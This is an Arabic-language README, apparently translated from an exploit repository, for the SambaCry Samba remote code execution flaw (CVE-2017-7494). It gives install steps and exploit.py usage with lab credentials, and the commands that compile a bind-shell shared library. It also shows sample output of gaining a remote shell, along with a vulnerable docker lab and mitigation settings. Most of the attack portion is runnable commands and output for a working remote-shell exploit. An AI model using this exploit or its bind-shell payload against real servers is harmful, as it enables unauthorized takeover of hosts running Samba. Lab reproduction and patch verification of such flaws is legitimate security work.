
استغلال SambaCry وحاوية ضعيفة (CVE-2017-7494)
Samba هو إعادة تنفيذ مجاني لبروتوكول الشبكات SMB/CIFS. يوفر Samba خدمات الملفات والطباعة لمختلف عملاء Microsoft Windows ويمكنه التكامل مع مجال Microsoft Windows Server، إما كمراقب مجال (DC) أو كعضو في المجال. اعتبارًا من الإصدار 4، يدعم Active Directory ومجالات Microsoft Windows NT.
إصدار Samba 4.5.9 والإصدارات السابقة له معرضة لثغرة تنفيذ تعليمات عن بعد تُسمى SambaCry. تسمح CVE-2017-7494 للمستخدمين المُوثقين عن بعد بتحميل مكتبة مشتركة إلى مجلد مشترك قابل للكتابة، وتنفيذ هجمات لتنفيذ تعليمات للسيطرة على الخوادم التي تستضيف خدمات Samba المعرضة.
Samba 3.x بعد 3.5.0 و 4.x قبل 4.4.14 و 4.5.x قبل 4.5.10 و 4.6.x قبل 4.6.4 لا تقيد مسار الملف عند استخدام الأنابيب المسماة في Windows، مما يسمح للمستخدمين المُوثقين عن بعد بتحميل مكتبة مشتركة إلى مجلد مشترك قابل للكتابة، وتنفيذ تعليمات عشوائية عبر أنبوب مسمى مصمم.

لتشغيل هذا الاستغلال بشكل صحيح، ستحتاج إلى إصدار مُعدل من مكتبة impacket الخاصة بـ Python والتبعيات الأخرى في ملف المتطلبات. لتثبيتها جميعًا، يرجى تشغيل
pip install -r requirements.txt
إذا كنت تستخدم Python3، فستحتاج إلى تشغيل هذا البرنامج في بيئة افتراضية. يرجى اتباع الخطوات:
pip install virtualenv
virtualenv -p /usr/bin/python2.7 venv # or wherever your python2.7 resides
source venv/bin/activate.sh
بعد ذلك يمكنك تشغيله على النحو التالي:
./exploit.py -t <target> -e libbindshell-samba.so \
-s <share> -r <location>/libbindshell-samba.so \
-u <user> -p <password> -P 6699
على سبيل المثال، إذا كنت تريد استغلال البيئة المعرضة داخل هذا المستودع، قم بتشغيل
./exploit.py -t localhost -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
وستحصل على المخرجات التالية
./exploit.py -t localhost -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.1.1.5 at 6699
[+] Veryfying your shell...
Linux 7a4b8023575a 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux
>>
شرح وسائط الاستغلال:
usage: exploit.py [-h] -t TARGET -e EXECUTABLE -s REMOTESHARE -r REMOTEPATH
[-u USER] [-p PASSWORD] [-P REMOTESHELLPORT]
-t أو —target - ضبط المضيف البعيد للهجوم.-e أو —executable - ضبط المسار على نظامك المحلي حيث توجد المكتبة التي تريد تحميلها.-s أو —remoteshare - المشاركة البعيدة حيث سيتم نسخ الملف.-r أو —remotepath - أين يقع الملف على النظام البعيد.-u أو —user - اسم المستخدم لتسجيل الدخول به.-p أو —password - كلمة المرور لاستخدامها لتسجيل الدخول.-P أو —remoteshellport - إذا كنت تستخدم حمولة bind shell، اتصل بالحمولة بعد تنفيذ الهجوم.لمحاكاة هذا الهجوم يمكنك استخدام صورة docker معرضة. إذا كان لديك docker مثبتًا، قم بتشغيل
docker run --rm -it \
-p 137-139:137-139 \
-p 445:445 -p 6699:6699 \
vulnerables/cve-2017-7494
إذا كنت تريد الوصول، استخدم بيانات الاعتماد التالية.
sambacrynosambanocryيمكنك العثور على مثال واحد لحمولة bind shell لهذا الاستغلال في ملف bindshell-samba.c. قم بتعديله حسب الحاجة. بعد ذلك لإنشاء ملف ثنائي جديد، استخدم:
gcc -c -fpic bindshell-samba.c
gcc -shared -o libbindshell-samba.so bindshell-samba.o
Samba 3.x بعد 3.5.0 و 4.x قبل 4.4.14 و 4.5.x قبل 4.5.10 و 4.6.x قبل 4.6.4
أضف المعامل:
nt pipe support = no
إلى قسم [global] في ملف smb.conf الخاص بك وأعد تشغيل smbd. يمنع هذا العملاء من الوصول إلى أي نقاط نهاية لأنابيب مسماة. لاحظ أن هذا قد يعطل بعض الوظائف المتوقعة لعملاء Windows.
ضع في اعتبارك أيضًا تثبيت نظام الملفات الذي يستخدمه Samba لمشاركته القابلة للكتابة باستخدام خيار noexec.
هذا البرنامج أو البرنامج السابق هو لأغراض تعليمية فقط. لا تستخدمه دون إذن. ينطبق إخلاء المسؤولية المعتاد، خاصة حقيقة أنني (opsxcq) غير مسؤول عن أي أضرار ناتجة عن الاستخدام المباشر أو غير المباشر للمعلومات أو الوظائف التي توفرها هذه البرامج. لا يتحمل المؤلف أو أي مزود إنترنت أي مسؤولية عن المحتوى أو سوء استخدام هذه البرامج أو أي مشتقات منها. باستخدام هذه البرامج، فإنك تقبل حقيقة أن أي ضرر (فقدان بيانات، تعطل النظام، اختراق النظام، إلخ) ناتج عن استخدام هذه البرامج ليس مسؤولية opsxcq.